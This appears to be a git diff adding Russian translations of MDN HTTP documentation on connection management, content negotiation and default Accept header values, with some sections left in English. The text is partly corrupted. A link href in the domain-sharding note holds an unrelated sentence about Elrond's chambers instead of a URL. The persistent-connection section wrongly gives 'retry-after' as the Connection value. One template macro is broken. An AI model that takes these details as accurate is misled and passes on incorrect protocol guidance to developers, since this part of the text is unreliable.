+<p>Conditional requests are a key feature of HTTP, and allow the building of efficient and complex applications. For caching or resuming downloads, the only work required for webmasters is to configure the server correctly; setting correct etags in some environments can be tricky. Once achieved, the browser will serve the expected conditional requests.</p>
+
+<p>For locking mechanisms, it is the opposite: Web developers need to issue a request with the proper headers, while webmasters can mostly rely on the application to carry out the checks for them.</p>
+
+<p>In both cases it's clear, conditional requests are a fundamental feature behind the Web.</p>
diff --git a/files/ru/web/http/connection_management_in_http_1.x/index.html b/files/ru/web/http/connection_management_in_http_1.x/index.html
new file mode 100644
index 0000000000..16ce498108
--- /dev/null
+++ b/files/ru/web/http/connection_management_in_http_1.x/index.html
@@ -0,0 +1,84 @@
+---
+title: Connection management in HTTP/1.x
+slug: Web/HTTP/Connection_management_in_HTTP_1.x
+translation_of: Web/HTTP/Connection_management_in_HTTP_1.x
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">Управление соединением является ключевой темой HTTP: открытие и поддержка соединения оказывает значительное влияние на производительность веб-сайтов и веб-приложений. В HTTP/1.x имеются следующие модели: <em>краткосрочные соединения, постоянные соединения и конвейерная обработка HTTP (</em><em>HTTP pipelining). </em></p>
+
+<p>В качестве транспортного протокола, обеспечивающего связь между клиентом и сервером, HTTP по большей части использует TCP. Это краткосрочные (short-lived) соединения: при каждой отправке запроса открывается новое соединение, которое закрывается после того, как ответ получен.</p>
+
+<p>Такой модели присущи проблемы в отношении производительности: ресурсы приходится затрачивать на открытие каждого соединения TCP. Клиенту и сервером необходимо обмениваться несколькими сообщениями. При отправке каждого запроса приходится считаться с запаздыванием и пропускной способностью сети. Современным веб-страницам требуется выполнять множество (десятки) запросов для передачи необходимой информации, что делает данную модель неэффективной.</p>
+
+<p>В HTTP/1.1 были созданы две новые модели.  Модель постоянного соединения оставляет соединение открытым между последовательными запросами, экономя время, требуемое для открытия новых соединений. Модель конвейерной обработки HTTP делает следующий шаг - она позволяет отсылать несколько запросов подряд, не дожидаясь ответа, что существенно сокращает время ожидания в сети.</p>
+
+<p><img alt="Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining." src="https://mdn.mozillademos.org/files/13727/HTTP1_x_Connections.png" style="height: 538px; width: 813px;"></p>
+
+<div class="note">
+<p>В HTTP/2 внесены дополнительные модели управления соединением.</p>
+</div>
+
+<p>Важно отметить, что управление соединением в HTTP применяется к соединению между двумя последовательными узлами, и является пошаговым (<a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>) а не "конец-к-концу"  (<a href="/en-US/docs/Web/HTTP/Headers#e2e">end-to-end)</a>. Модель, используемая для соединения клиента с его первым прокси, может отличаться от модели соединения между прокси и конечным сервером (или любым из промежуточных серверов). Заголовки HTTP, вовлеченные в определение модели соединения, типа HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, являются <a href="/en-US/docs/Web/HTTP/Headers#hbh">пошаговыми</a> заголовками, значения которых могут изменяться промежуточными узлами.</p>
+
+<h2 id="Краткосрочные_соединения_Short-lived_connections">Краткосрочные соединения (Short-lived connections)</h2>
+
+<p>Исходной моделью в HTTP, в HTTP/1.0 она же является моделью по умолчанию, являются <em>краткосрочные соединения</em> <em>(short-lived connections)</em>. Для каждого HTTP запроса используется отдельное соединение; это означает, что "рукопожатие" TCP происходит перед каждым из запросов HTTP, идущих один за другим.</p>
+
+<p>TCP-рукопожатие само по себе затратно по времени, но TCP-соединения приспособились справляются с этой нагрузкой, превращаясь в устойчивые (или теплые) соединения. Краткосрочные соединения не используют это полезное свойство TCP, так что эффективность оказывается ниже оптимальной из-за того что передача осуществляется по новому, холодному соединению.</p>
+
+<p>Данная модель является моделью по умолчанию в HTTP/1.0 (при отсутствии заголовка {{HTTPHeader("Connection")}}, или когда его значением является<code> close</code>). В HTTP/1.1 такая модель используется только если заголовок {{HTTPHeader("Connection")}} посылается со значением <code>close</code>.</p>
+
+<div class="note">
+<p>Если речь не идет об очень старой, не поддерживающей постоянные соединения, системе, данную модель использовать нет смысла.</p>
+</div>
+
+<h2 id="Постоянные_соединения">Постоянные соединения</h2>
+
+<p>Краткосрочные соединения имеют два больших недостатка: требуется значительное время на установку нового соединения, и то, что эффективность TCP-соединения улучшается только по прошествии некоторого времени от начала его использования (теплое соединение). Для решения этих проблем была разработана концепция <em>постоянного соединения (persistent connection</em>), еще до появления HTTP/1.1. Его также называют <em>соединением keep-alive</em>.</p>
+
+<p>Постоянным называют соединение, которое остается открытым некоторый период времени и может быть использовано для нескольких запросов, благодаря чему отпадает необходимость в новых рукопожатиях TCP и используются средства повышения производительности TCP. Это соединение остается открытым не навсегда: праздные соединения закрываются по истечению некоторого времени (для задания минимального времени, на протяжении которого соединение должно оставаться открытым, сервер может использовать заголовок {{HTTPHeader("Keep-Alive")}}).</p>
+
+<p>У постоянных соединений есть свои недочеты; даже работая вхолостую, они потребляют ресурсы сервера, а при высокой нагрузке могут проводиться {{glossary("DoS attack", "DoS attacks")}}. В таких случаях большую эффективность могут обеспечить не постоянные соединения, которые закрываются как только освободятся.</p>
+
+<p>Соединеня HTTP/1.0 по умолчанию не являются постоянными. Для превращения их в постоянные надо присвоить заголовку {{HTTPHeader("Connection")}} значение, отличное от <code>close</code> - обычно <code>retry-after.</code></p>
+
+<p>В HTTP/1.1 соединения являются постоянными по умолчанию, так что этот заголовок больше не требуется (но часто добавляется в качестве защитной меры на случай, если потребуется откат к HTTP/1.0).</p>
+
+<h2 id="Конвейерная_обработка_в_HTTP_HTTP_pipelining">Конвейерная обработка в HTTP (HTTP pipelining)</h2>
+
+<div class="note">
+<p>Конвейерная обработка HTTP в современных браузерах не активирована по умолчанию:</p>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/Proxy_server">Прокси</a> с багами все еще встречаются, что приводит к странным и непредсказуемым явлениям, которые веб-разработчикам трудно предсказать и диагносцировать.</li>
+ <li>Конвейерную обработку сложно правильно реализовать: объем передаваемых ресурсов, используемая <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a> и эффективная пропускная способность имеют непосредственное влияние на те улучшения, что обеспечиваются конвейерной обработкой. Конвейерная обработка HTTP, таким образом, дает существенное улучшение не во всех случаях.</li>
+ <li>Конвейерная обработка подвержена проблеме <a href="https://en.wikipedia.org/wiki/Head-of-line_blocking">HOL</a>.</li>
+</ul>
+
+<p>По этим причинам в HTTP/2 на смену конвейерной обработке пришел новый алгоритм, <em>мультиплексность (multiplexing</em>).</p>
+</div>
+
+<p>По умолчанию запросы <a href="/en/HTTP" title="en/HTTP">HTTP</a> идут последовательно. Новый запрос выдается только после того, как получен ответ на предыдущий. Из-за запаздываний в сети и ограничений на пропускную способность это может приводить к тому, что сервер <em>увидит </em>следующий запрос с существенной задержкой.</p>
+
+<p>Конвейерная обработка это процесс отсылки последовательных запросов по одному постоянному соединению не дожидаясь ответа. Таким образом избегают задержки соединения. Теоретически, производительность можно было бы повысить также за счет упаковки двух запросов HTTP в одно и то же сообщение TCP. Типичный <a href="https://en.wikipedia.org/wiki/Maximum_segment_size">MSS</a> (Maximum Segment Size - Максимальный размер сегмента) достаточно велик, чтобы вместить несколько простых запросов, хотя требования на объем запросов HTTP продолжают расти.</p>
+
+<p>Не все типы запросов HTTP позволяют конвейерную обработку: только методы {{glossary("idempotent")}}, а именно {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} и {{HTTPMethod("DELETE")}}, можно перезапускать безопасно: в случае сбоя содержимое конвейерной передачи можно просто повторить.</p>
+
+<p>В наши дни любой удовлетворяющий требованиям HTTP/1.1 прокси или сервер должен поддерживать конвейерную обработку, хотя на практике возникает множество ограничений, поэтому ни один из современных браузеров не активирует этот режим по умолчанию.</p>
+
+<h2 id="Доменное_разделение_Domain_sharding">Доменное разделение (Domain sharding)</h2>
+
+<div class="note">
+<p>Не используйте этот устаревший метод без крайней необходимости; вместо этого переходите на HTTP/2. В HTTP/2 доменное разделение больше не требуется: соединение HTTP/2 соединение прекрасно работает с параллельными неприоритезированными запросами. Доменное разделение даже вредит производительности. Большинство реализаций HTTP/2 использует метод, называемый <a href="I wonder if it's related to the nobash/nobreak/nopick secret exit s of Elrond's chambers.">слиянием соединений (connection coalescing</a>) для возврата конечного доменного разделения.</p>
+</div>
+
+<p>Поскольку соединение HTTP/1.x является последовательными запросами, даже без упорядочивания, оно не может быть оптимальным без наличия достаточно большой пропускной способности. Браузеры находят решение в открытии нескольких соедининий к каждому домену с отсылкой параллельных запросов. По умолчанию это когда-то было 2-3 соединения, но сейчас их число возросло примерно до 6 параллельных соединений. При попытке использовать большее количество есть риск спровоцировать защиту от <a href="/en-US/docs/Glossary/DOS_attack">DoS</a> со стороны сервера.</p>
+
+<p>Если сервер хочет иметь более быстрый ответ от веб-сайта или приложения, он может открыть больше соединений. Например, вместо того, чтобы иметь все ресурсы на одном домене, скажем, <code>www.example.com</code>, он может распределить их по нескольким доменам, <code>www1.example.com</code>, <code>www2.example.com</code>, <code>www3.example.com</code>. Каждый из этих доменов разрешается на том же сервере, и веб-браузер откроет 6 соединений к каждому (в нашем примере число соединений возрастет до 18). Этот метод называют доменным разделением (<em>domain sharding)</em>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13783/HTTPSharding.png" style="height: 727px; width: 463px;"></p>
+
+<h2 id="Заключение">Заключение</h2>
+
+<p>Улучшение управлением соединениями дает существенное увеличение производительности в HTTP. В HTTP/1.1 и HTTP/1.0 использование постоянного соединения – по крайней мере пока оно не начинает работать вхолостую – приводит к лучшей производительности. Однако, проблемы с конвейерной обработкой привели к созданию более совершенных способов управления соединением, реализованными в HTTP/2.</p>
diff --git a/files/ru/web/http/content_negotiation/index.html b/files/ru/web/http/content_negotiation/index.html
new file mode 100644
index 0000000000..3b9760e25f
--- /dev/null
+++ b/files/ru/web/http/content_negotiation/index.html
@@ -0,0 +1,131 @@
+---
+title: Согласование контента
+slug: Web/HTTP/Content_negotiation
+tags:
+ - Согласование контента
+translation_of: Web/HTTP/Content_negotiation
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">В <a href="/en-US/docs/Glossary/HTTP">HTTP</a>, <em><strong>согласование контента</strong></em> - это механизм используемый для отображения различных представлений ресурса по тому же URI, так чтобы клиент мог указать, что лучше подходит для пользователя (например, желаемый язык документа, формат изображения, или кодировку текста).</p>
+
+<h2 id="Принципы_согласования_контента">Принципы согласования контента</h2>
+
+<p>Конкретный документ называется <em>ресурсом</em>. Когда клиент хочет его получить, он запрашивает его используя его URL. Сервер использует этот URL, чтобы выбрать один из возможных вариантов - каждый вариант, назывется <em>представлением</em>, – и возвращает этот вариант клиенту. Ресурс в общем, а также каждое из представлений, имеют определенный URL. Выбор конкретного представления при вызове ресурса определяется механизмом <em>согласования контента</em> и существует несколько способов согласования между клиентом и сервером.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16156/HTTPNego_ru.png" style="height: 311px; width: 767px;"></p>
+
+<p>Определение наиболее подходящего представления производится с помощью одного из двух механизмов:</p>
+
+<ul>
+ <li>Конкретные <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовки </a> клиента (<em>согласование на основе сервера </em> или <em>упреждающее согласование</em>), что является стандартным способом согласования определенного вида ресурса.</li>
+ <li><a href="/en-US/docs/Web/HTTP/Status">HTTP коды ответа</a> {{HTTPStatus("300")}} (Multiple Choices) или {{HTTPStatus("406")}} (Not Acceptable) (<em>согласование на основе агента</em> или <em>реактивное согласование</em>), используемые в качестве резервных механизмов.</li>
+</ul>
+
+<p>На протяжении многих лет предлагались и другие предложения по согласованию содержания, такие как <em>прозрачное согласование контента</em> и <code>Alternates</code> заголовок. Они не смогли получить достаточной поддержки и были заброшены.</p>
+
+<h2 id="Согласование_на_основе_сервера">Согласование на основе сервера</h2>
+
+<p>В <em>согласовании на стороне сервера</em> или <em>упреждающем согласовании</em>, браузер (или любое другое клиентское приложение) посылае несколько заголовков HTTP наряду с URL. Эти заголовки описывают предпочтения пользователя. Сервер использует их в качестве посказок для внутреннего алгоритма, который выбирает наиболее подходящее представление ресурса, чтобы предоставить его клиенту. Реализация алгоритма в стандарт не входит и полностью зависит от сервера. Для примера, смотрите <a class="external" href="http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm">алгоритм согласования Apache 2.2</a>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13791/HTTPNegoServer.png" style="height: 380px; width: 767px;"></p>
+
+<p>Стандарт HTTP/1.1 определяет список стандартных заголовков которые используются в этом механизме согласования – ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Хотя, строго говоря, {{HTTPHeader("User-Agent")}} не находится в этом списке, в некоторых случаях он используется, чтобы послать определённое представление запрошенного ресурса, несмотря на то, что это и не является хорошей практикой. Сервер использует заголовок {{HTTPHeader("Vary")}} чтобы обозначить, какие заголовки он использовал для согласования (точнее, ассоциированные с ними заголовки ответа), чтобы <a href="/en-US/docs/Web/HTTP/Caching">кэширование</a> работало оптимально.</p>
+
+<p>В дополнение к этим, есть предложение добавить больше заголовков в список доступным, так называемые Подсказки Клиента (Client Hints). Они будут предоставлять информацио о типе устройства на котором они используются (например, будет это настольный компьютер или мобильное устройство).</p>
+
+<p>Согласование на стороне сервера является самым популярным способом согласования контента, но у него есть несколько недостатков:</p>
+
+<ul>
+ <li>У сервера нет всей информации о клиентском приложении. Даже с расширением Client Hints сервер не может знать всех возможностей браузера. В отличие от реактивного согласования, где клиент совершает выбор, выбор сервера всегда остается в каком-то смысле произвольным.</li>
+ <li>Информация, полученная от клиента, довольно подробная (сжатие заголовков протокола HTTP/2 отчасти решает эту проблему) и является источником утечки конфиденциальности (идентификация по HTTP).</li>
+ <li>С увеличением количества представлений падает эффективность общих кэшэй и усложняется реализация сервера.</li>
+</ul>
+
+<h3 id="Заголовок_Accept">Заголовок <code>Accept</code></h3>
+
+<p>Заголовок {{HTTPHeader("Accept")}} перечисляет MIME типы содержимого ресурса, которые клиент желает получить. Он представляет список MIME типов, разделенный запятыми, каждый из которых, опционально, снабжён коэффицентом желательности – параметром, определяющим относительный уровень желательности среди разных MIME типов.</p>
+
+<p>{{HTTPHeader("Accept")}} определяется браузером, или любым другим клиентом, и может изменяться в зависимости от контекста, например, при получении страницы HTML, изображения, видео или скрипта – его содержимое будет различаться при запросе документа из строки адреса, через тег {{ HTMLElement("img") }}, {{ HTMLElement("video") }} или {{ HTMLElement("audio") }}. Браузеры могут использовать любое значение, которые они считают наиболее подходящим; можете ознакомиться со списком <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">значений по умолчанию, используемых распространенными браузерами</a>.</p>
+
+<h3 id="Заголовок_Accept-CH_experimental_inline">Заголовок <code>Accept-CH</code> {{experimental_inline}}</h3>
+
+<div class="note">
+<p>Перед вами <strong>экспериментальная</strong> технология под названием <em>Client Hints (Подсказки Клиента)</em>, реализуемая на данный момент только в Chrome 46 и более поздних версиях</p>
+</div>
+
+<p>Экспериментальный заголовок {{HTTPHeader("Accept-CH")}} перечисляет конфигурфцию клиента, которая может быть использована сервером для выбора подходящего ответа. Определённые значения:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Value</th>
+ <th scope="col">Meaning</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>DPR</code></td>
+ <td>Указывает соотношение логических пикселей к физическим на устройстве.</td>
+ </tr>
+ <tr>
+ <td><code>Viewport-Width</code></td>
+ <td>Указывает ширину окна отображения.</td>
+ </tr>
+ <tr>
+ <td><code>Width</code></td>
+ <td>Указывает ширину ресурса в физических пикселях (другими словами собственный размер изображения).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Заголовок_Accept-Charset">Заголовок <code>Accept-Charset</code></h3>
+
+<p>Заголовок {{HTTPHeader("Accept-Charset")}} указывает серверу какие кодировки текста поддерживает клиент. По-традиции он имеет своё значение для каждой локали браузера, например, <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code> установлен для западноевропейской локали.</p>
+
+<p>В настоящее время, UTF-8 имеет серьёзную поддержку, является предпочтительным способом кодировки текста и гарантирует лучшую конфеденциальность за счет уменьшения разнообразия конфигураций, поэтому большая часть браузеров пропускает заголовок <code>Accept-Charset</code>: Internet Explorer 8, Safari 5, Opera 11 и Firefox 10 отказались от этого заголовка в запросах.</p>
+
+<h3 id="Заголовок_Accept-Encoding">Заголовок <code>Accept-Encoding</code></h3>
+
+<p>The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: <code>br, gzip;q=0.8</code>) that indicates the priority of the encoding values. The default value <code>identity</code> is at the lowest priority (unless otherwise declared).</p>
+
+<p>Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.</p>
+
+<h3 id="Заголовок_Accept-Language">Заголовок <code>Accept-Language</code></h3>
+
+<p>The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: <code>"de, en;q=0.7</code>"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.</p>
+
+<p>Due to the <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">configuration-based entropy</a> increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:</p>
+
+<ul>
+ <li>They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the <code>Accept-Language</code> header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance.</li>
+ <li>Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header.</li>
+</ul>
+
+<h3 id="Заголовок_User-Agent">Заголовок <code>User-Agent</code></h3>
+
+<div class="note">
+<p>Though there are legitimate uses of this header for selecting content, <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">it is considered bad practice</a> to rely on it to define what features are supported by the user agent.</p>
+</div>
+
+<p>The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of <em>product tokens</em> and <em>comments</em>.</p>
+
+<p>A <em>product token</em> is a name followed by a '<code>/</code>' and a version number, like <code>Firefox/4.0.1</code>. There may be as many of them as the user-agent wants. A <em>comment</em> is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by '<code>;</code>'.</p>
+
+<h3 id="The_Vary_response_header">The <code>Vary</code> response header</h3>
+
+<p>In opposition to the previous <code>Accept-*</code> headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.</p>
+
+<p>The special value of '<code>*</code>' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.</p>
+
+<p>The <code>Vary</code> header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with agent-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '<code>*</code>' prevents caching from occurring, as the cache cannot know what element is behind it.</p>
+
+<h2 id="Согласование_на_основе_агента">Согласование на основе агента</h2>
+
+<p>Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.</p>
+
+<p>From the beginnings of HTTP, the protocol allowed another negotiation type: <em>agent-driven negotiation</em> or <em>reactive negotiation</em>. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13795/HTTPNego3.png"></p>
+
+<p>Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the <em>server-driven negotiation</em>, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user.</p>
diff --git a/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html
new file mode 100644
index 0000000000..043d2c19c0
--- /dev/null
+++ b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html
@@ -0,0 +1,256 @@
+---
+title: Используемые по умолчанию значения заголовка Accept
+slug: Web/HTTP/Content_negotiation/List_of_default_Accept_values
+tags:
+ - HTTP
+ - Reference
+ - Заголовок Accept
+ - Согласование контента
+translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">В этой статье описывается, какие значения используются в HTTP-заголовке <code><a href="/en-US/docs/Web/HTTP/Headers/Accept">Accept</a></code> по умолчанию в зависимости от конкретного запроса и версии браузера.</span></p>
+
+<h2 id="Значения_по_умолчанию">Значения по умолчанию</h2>
+
+<p>Здесь приведены значения, которые отправляются, когда нет никакой уточняющей информации. Обратите внимание, что все браузеры добавляют MIME-тип <code>*/*</code>, чтобы были охвачены все возможные варианты. Обычно значения имеют такой вид, когда запросы выполняются через адресную строку или через HTML-элемент {{HTMLElement("a")}}.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Агент пользователя</th>
+ <th>Значение</th>
+ <th>Комментарий</th>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>
+ <p><code>text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</code> (начиная с Firefox 66)<br>
+ <br>
+ <code>text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</code> (в Firefox 65)<br>
+ <br>
+ <code>text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</code> (в более ранних версиях)</p>
+ </td>
+ <td>В Firefox до версии 65 включительно значение можно изменить с помощью параметра <a class="external" href="http://kb.mozillazine.org/Network.http.accept.default" title="http://kb.mozillazine.org/Network.http.accept.default"><code>network.http.accept.default</code></a> (см. <a class="external" href="https://hg.mozilla.org/mozilla-central/file/tip/modules/libpref/init/all.js#l1750" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers">исходный код</a>).</td>
+ </tr>
+ <tr>
+ <td>Safari, Chrome</td>
+ <td>
+ <p><code>text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8</code></p>
+ </td>
+ <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/services/network/loader_util.cc#24" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers">исходный код</a></td>
+ </tr>
+ <tr>
+ <td>Safari 5</td>
+ <td>
+ <p><code>text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</code></p>
+ </td>
+ <td>Значение улучшено по сравнению с прежними вариантами заголовка <code>Accept</code>: MIME-тип <code>image/png</code> уже не указывается как более приоритетный, чем <code>text/html</code>.</td>
+ </tr>
+ <tr>
+ <td>Internet Explorer 8</td>
+ <td><code>image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*</code></td>
+ <td>См. запись <a class="external" href="https://docs.microsoft.com/en-us/archive/blogs/ieinternals/ie-and-the-accept-header" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header</a> в блоге MSDN под названием IEInternals.</td>
+ </tr>
+ <tr>
+ <td>Edge</td>
+ <td><code>text/html, application/xhtml+xml, image/jxr, */*</code></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td><code>text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1</code></td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Значения_для_изображений">Значения для изображений</h2>
+
+<p>Если запрашивается изображение, например через HTML-элемент {{HTMLElement("img")}}, агент пользователя часто задает уточненный список подходящих MIME-типов.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Агент пользователя</th>
+ <th>Значение</th>
+ <th>Комментарий</th>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>
+ <p><code>image/webp,*/*</code> (начиная с Firefox 65)<br>
+ <code>*/*</code> (начиная с Firefox 47)<br>
+ <code>image/png,image/*;q=0.8,*/*;q=0.5</code> (в более ранних версиях)</p>
+ </td>
+ <td>Значение можно изменить с помощью параметра <code>image.http.accept</code>. <a class="external" href="https://hg.mozilla.org/mozilla-central/file/tip/modules/libpref/init/all.js#l4735" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td><code>*/*</code></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>Chrome</td>
+ <td><code>image/webp,image/apng,image/*,*/*;q=0.8</code></td>
+ <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/content/renderer/loader/web_url_loader_impl.cc#99" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+ </tr>
+ <tr>
+ <td>Internet Explorer до версии 8 включительно</td>
+ <td><code>*/*</code></td>
+ <td>См. запись <a class="external" href="https://docs.microsoft.com/en-us/archive/blogs/ieinternals/ie-and-the-accept-header" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header</a> в блоге MSDN под названием IEInternals.</td>
+ </tr>
+ <tr>
+ <td>Internet Explorer 9</td>
+ <td><code>image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5</code></td>
+ <td>См. запись <a class="external" href="https://docs.microsoft.com/en-us/archive/blogs/fiddler/fiddler-and-the-ie9-release-candidate" title="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx">Fiddler is better with Internet Explorer 9</a> в блоге MSDN под названием IEInternals.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Значения_для_видео">Значения для видео</h2>
+
+<p>Если запрашивается видео через HTML-элемент {{HTMLElement("video")}}, в большинстве браузеров используется уточненное значение.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Агент пользователя</th>
+ <th>Значение</th>
+ <th>Комментарий</th>
+ </tr>
+ <tr>
+ <td>Firefox до версии 3.6</td>
+ <td><em>Не поддерживается для элемента {{HTMLElement("video")}}.</em></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>Firefox начиная с версии 3.6</td>
+ <td><code>video/webm,video/ogg,video/*;q=0.9,application/ogg;q=0.7,audio/*;q=0.6,*/*;q=0.5</code></td>
+ <td>См. <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=489071" title="https://bugzilla.mozilla.org/show_bug.cgi?id=489071">страницу ошибки 489071</a>. <a class="external" href="https://hg.mozilla.org/mozilla-central/file/tip/dom/html/HTMLVideoElement.cpp#l136" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+ </tr>
+ <tr>
+ <td>Chrome</td>
+ <td><code>*/*</code></td>
+ <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/services/network/loader_util.cc#27" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+ </tr>
+ <tr>
+ <td>Internet Explorer до версии 8 включительно</td>
+ <td><em>Не поддерживается для элемента {{HTMLElement("video")}}</em>.</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Значения_для_аудиофайлов">Значения для аудиофайлов</h2>
+
+<p>Если запрашивается аудиофайл, например через HTML-элемент {{HTMLElement("audio")}}, в большинстве браузеров используется уточненное значение.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Агент пользователя</th>
+ <th>Значение</th>
+ <th>Комментарий</th>
+ </tr>
+ <tr>
+ <td>Firefox начиная с версии 3.6</td>
+ <td><code>audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5</code></td>
+ <td>См. <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=489071" title="https://bugzilla.mozilla.org/show_bug.cgi?id=489071">страницу ошибки 489071</a>. <a class="external" href="https://hg.mozilla.org/mozilla-central/file/tip/dom/html/HTMLAudioElement.cpp#l81" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+ </tr>
+ <tr>
+ <td>Safari, Chrome</td>
+ <td><code>*/*</code></td>
+ <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/services/network/loader_util.cc#27" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+ </tr>
+ <tr>
+ <td>Internet Explorer до версии 8 включительно</td>
